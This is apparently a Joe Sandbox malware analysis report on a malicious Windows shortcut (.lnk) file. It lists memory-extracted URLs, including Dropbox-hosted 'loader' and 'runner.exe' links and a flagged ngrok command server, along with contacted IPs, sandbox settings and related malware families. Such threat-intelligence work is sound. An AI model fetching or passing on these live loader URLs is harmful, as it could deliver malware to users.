https://www.dropbox.com/scl/fi/u442tpj94cyt7pxeh32zo/loader.txt?rlkey=y6ifp8xex62ufg75kr5ap1exu&dl=1	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239381795371_1OWBWRW5WQA079L9Q&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239354491534_1O3M85NN5LRG0CPTI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high
https://uc1034d83fd6399ddbee4d449af7.dl.dropboxusercontent.com/cd/0/get/CgZlvlROW8KPvPAJVE7MmbVov7HeKaegjTEchtEO-5KwDOAtjbHByTtj1TZbqtUJm7xwQyJX1zSoHvBGUnqOwBh9c9P-UCKOGoyVqr6PmyQFgilrSR_hWNMlJwEA-6NDG4QU2Ep0ZagDQMloOqmGyT9K/file?dl=1	false	Avira URL Cloud: safe	unknown
https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1	false	Avira URL Cloud: safe	unknown
https://clients2.googleusercontent.com/crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx	false		high
https://tse1.mm.bing.net/th?id=OADD2.10239381247928_1BKQC421ZHFN6XQ25&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ubi.com/it	9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fefL	powershell.exe, 00000004.00000002.2469825397.00000225BA7CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com	powershell.exe, 00000016.00000002.2977652206.00000136661EB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ubi.comd:/dev/assassin-playground/dx10_integration/main/extern/onlineservices/Tracking/Module	9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://permanently-removed.invalid/GetCheckConnectionInfo	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/documents-about-company-information-and-job-des	powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm	powershell.exe, 00000004.00000002.2471028707.00000225BCAEF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB05000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.docsend.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxABzen	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp	false		high
http://permanently-removed.invalid/v1/accountcapabilities:batchGet	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com	9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/signin/chrome/sync?ssp=1	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-des	powershell.exe, 00000016.00000002.2977652206.0000013667A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.00000136678E2000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://officeapps-df.live.com	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://office.net/	msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://designerapp-int.azurewebsites.net/m	msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.2471028707.00000225BC741000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665D91000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/encryption/unlock/desktop	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BE40F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2528259236.00000225D4860000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://designerapp.azurewebsites.net/	msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com	powershell.exe, 00000004.00000002.2471028707.00000225BCAF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.000001366613C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exLL	powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	msedge.exe, 0000000A.00000002.2358942744.0000501C0237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.2471028707.00000225BD28E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2471028707.00000225BDBAB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB	msedge.exe, 0000000A.00000002.2358354048.0000501C022A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/oauth/multilogin	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2520099694.00000225CC7B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	powershell.exe, 00000016.00000002.2977652206.00000136678E2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000B.00000002.3438231676.000001C464000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cloudflare-dns.com/dns-queryPOSTContent-TypeContent-LengthHostapplication/dns-message%dMachi	fontdrvhost.exe, 00000026.00000003.3162253367.000000000553B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v1/userinfo	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/v/s/playlist/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/OAuthLogin	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2471028707.00000225BC967000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstorekgejglhpjiefppelpmljglcjbhoiplfn:	msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g	powershell.exe, 00000016.00000002.3103403948.000001367E040000.00000004.00000020.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com/fr	9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000B.00000003.2342168560.000001C463E6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/embedded/setup/kidsignin/chromeos	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.cn/	msedge.exe, 0000001C.00000002.2536345437.00003AB000314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/ListAccounts?json=standard	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://canny.io/sdk.js	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
http://permanently-removed.invalid/	msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.2471028707.00000225BCB6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/LogoutYxAB	msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/embedded/setup/chrome/usermenu	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://chromewebstore.google.com/	msedge.exe, 0000000A.00000002.2358942744.0000501C0237C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000002.2535679041.00003AB000198000.00000004.00000800.00020000.00000000.sdmp	false		high
http://permanently-removed.invalid/).	msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef-UseBa	powershell.exe, 00000004.00000002.2469825397.00000225BA75E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469766166.00000225BA730000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2528807322.00000225D49A2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469825397.00000225BA7CA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2470828468.00000225BC200000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2469825397.00000225BA747000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoftX	powershell.exe, 00000004.00000002.2528259236.00000225D4860000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exL	powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uc933af44167adf8e757221e8737.dl.dropboxusercontent.com/cd/0/get/CgYWev4jMhkAuVqO31aNc_EtDvIC	powershell.exe, 00000016.00000002.2977652206.00000136661EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.00000136661E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013666195000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.microsoft.coJ.	powershell.exe, 00000004.00000002.2526169826.00000225D477F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/embedded/reauth/chromeos	msedge.exe, 0000000A.00000002.2358437461.0000501C022CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/service_worker.js	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com/es	9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3106980720.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 0000000A.00000003.2346013647.0000501C0246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359261505.0000501C02470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001C.00000003.2511194926.00003AB000288000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high
https://designerapp-int.azurewebsites.net/	msedge.exe, 0000000A.00000002.2359144911.0000501C023D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000002.2359123160.0000501C023CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pal-test.adyen.com	powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.65.15	unknown	United States	19679	DROPBOXUS	false
162.125.65.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.125.69.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
104.161.43.18	unknown	United States	53755	IOFLOODUS	true
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
3.125.102.39	1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
3.125.209.94	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4
192.168.2.6
192.168.2.22
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576695
Start date and time:	2024-12-17 12:12:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	IIC0XbKFjS.lnk renamed because original name is a hash value
Original Sample Name:	39c977bba06879b884082e63185eb698c4512a6af48b9dc23cda346d7d91ce44.lnk
Detection:	MAL
Classification:	mal100.troj.evad.winLNK@86/281@24/14
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 13.107.42.16, 13.107.21.239, 204.79.197.239, 172.217.17.78, 13.107.6.158, 23.32.238.138, 2.19.198.56, 23.218.208.109, 2.16.158.58, 2.16.158.74, 2.16.158.43, 2.16.158.72, 2.16.158.56, 2.16.158.51, 2.16.158.83, 2.16.158.50, 2.16.158.80, 20.242.39.171, 20.82.9.214, 13.85.23.206, 20.3.187.198, 40.126.32.68, 40.126.32.74, 40.126.32.76, 40.126.32.72, 40.126.32.136, 40.126.32.140, 40.126.32.133, 20.190.160.20, 20.42.65.92, 142.250.176.195, 142.250.72.99, 142.250.80.67, 20.190.177.147, 20.31.169.57, 13.107.246.43, 20.223.36.55, 150.171.28.10, 52.149.20.212, 94.245.104.56, 23.200.0.6, 20.25.227.174, 4.150.155.223, 13.107.246.40, 23.44.201.18
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, login.live.com, e16604.g.akamaiedge.net, www.gstatic.com, l-0007.l-msedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, www.tm.v4.a.prd.aadg.akadns.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, blobcollector.events.data.trafficmanager.net, edgeassetservice.azureedge.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net, config.edge.skype.com.trafficmanager.net, fs-wildcard.microsoft.com.edgekey.net.globalre
Execution Graph export aborted for target 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, PID 6852 because there are no executed function
Execution Graph export aborted for target fontdrvhost.exe, PID 7412 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 2276 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8836 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: IIC0XbKFjS.lnk

Simulations

Behavior and APIs

Time	Type	Description
06:13:07	API Interceptor	5622x Sleep call for process: powershell.exe modified
06:13:21	API Interceptor	2x Sleep call for process: svchost.exe modified
06:14:58	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.125.65.15	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	pay.bat	Get hash	malicious	Kimsuky	Browse
	protected.ps1	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADw7QsXXUEgtGMTkaD6s_noiLvCBcZslDg/downloading	Get hash	malicious	Unknown	Browse
	35N4PXWcmC.msi	Get hash	malicious	Unknown	Browse
162.125.65.18	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	3_Garmin_Campaign Information for Partners(12-11).docx.lnk.download.lnk	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	[EXTERNAL] Doug Lenon shared _GARY LEIMER INC SIGNED CONTRACT & PAY APPLICATIONS.paper_ with you.eml	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Updates.bat	Get hash	malicious	Abobus Obfuscator	Browse
	ljshdfglksdfNEW.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	QD40FIJ8QK.lnk	Get hash	malicious	Unknown	Browse
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
162.125.69.15	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Whatsapp-GUI.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	2024_12_12_Aster_Oak_Babywear_Advertising_Project_Shopify.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	#U041e#U043f#U043b#U0430#U0442#U0430.xls	Get hash	malicious	Unknown	Browse	172.64.41.3
